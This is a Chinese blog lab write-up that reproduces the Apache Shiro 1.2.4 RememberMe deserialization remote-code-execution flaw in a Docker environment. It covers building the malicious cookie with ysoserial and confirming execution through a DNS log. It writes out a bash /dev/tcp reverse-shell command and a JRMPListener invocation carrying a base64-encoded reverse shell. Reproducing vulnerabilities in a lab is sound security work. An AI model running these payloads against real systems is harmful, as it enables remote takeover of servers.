Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker
Shiro RememberMe 1.2.4 反序列化命令執(zhí)行漏洞復現(xiàn)
- 漏洞環(huán)境搭建
- 漏洞復現(xiàn)
- 反彈shell
- 題外話1
- 題外話2
影響版本:Apache Shiro <= 1.2.4
漏洞產(chǎn)生原因:
shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值–>Base64解碼–>AES解密–>反序列化。
然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數(shù)據(jù)造成反序列化的RCE漏洞。使用大佬腳本生成 payload(ysoserial.jar文件和運行目錄處于同一目錄)
漏洞環(huán)境搭建
1.拉取鏡像
docker pull medicean/vulapps:s_shiro_1
2.啟動環(huán)境
docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
如需進入環(huán)境,命令為
docker exec -it name /bin/bash
3.web訪問
http://127.0.0.1 能看到如下頁面即可
或虛擬機外面用真實ip訪問
至此漏洞環(huán)境搭建成功
漏洞復現(xiàn)
1.抓包測試
查看返回包里setcookie有rememberme的字樣
2.繼續(xù)測試
首先最簡單的測試方法是用dnslog,看看是否有回顯。
利用POC生成想要執(zhí)行的命令對應的rememberMe
3.工具準備
生成payload的腳本使用的是python3,運行報錯就安裝一下模塊
4.生成payload:
雙引號中是想要執(zhí)行的命令,如果這里沒有公網(wǎng)VPS,就用dnslog來證明。攻擊原理一樣,不認可的杠精可直接懟
運行結果如下圖:
然后便會在腳本所在目錄下生成文件payload.cookie
5.回到瀏覽器抓包
用payload.cookie中的rememberMe內(nèi)容加入Cookie中,或者直接放進參數(shù)中,提交看頁面回顯和dnslog頁面是否有數(shù)據(jù)過去
6.到ceye平臺查看日志記錄
dnslog日志刷新后有記錄了,說明payloda執(zhí)行成功
反彈shell
當然了,有VPS的情況下,為何不反彈一下shell呢?
1.使用腳本生成key
反彈shell的命令:bash -i >& /dev/tcp/22.45.13.9/7878 0>&1
PS:ip假的,不打碼,觀看流暢
2.先公網(wǎng)VPS監(jiān)聽反彈shell的命令
3.加入payload,提交數(shù)據(jù)包
這里使用curl也能達到burp的效果
講這個是因為此方法可以用來初步探測shiro信息
4.vps收到了反彈回來的shell
題外話1
研究這個漏洞,是因為客戶要求排查下資產(chǎn),然后找不到集成的工具和一鍵式檢查的。
漏洞的事情OK了,還是覺得自己太菜,要是代碼夠給力,寫個集成的丟github上就真的香。
題外話2
還有一個思路,看大佬文章時,這里一直沒搞懂。字面意思是用ysoserial中的JRMP監(jiān)聽模塊來搞定的,后續(xù)學會了再補上筆記
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'
參考鏈接:
https://www.jianshu.com/p/0007eafd1f92
https://www.secpulse.com/archives/112742.html
總結
以上是生活随笔為你收集整理的Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 随手笔记Cookie
- 下一篇: css.案例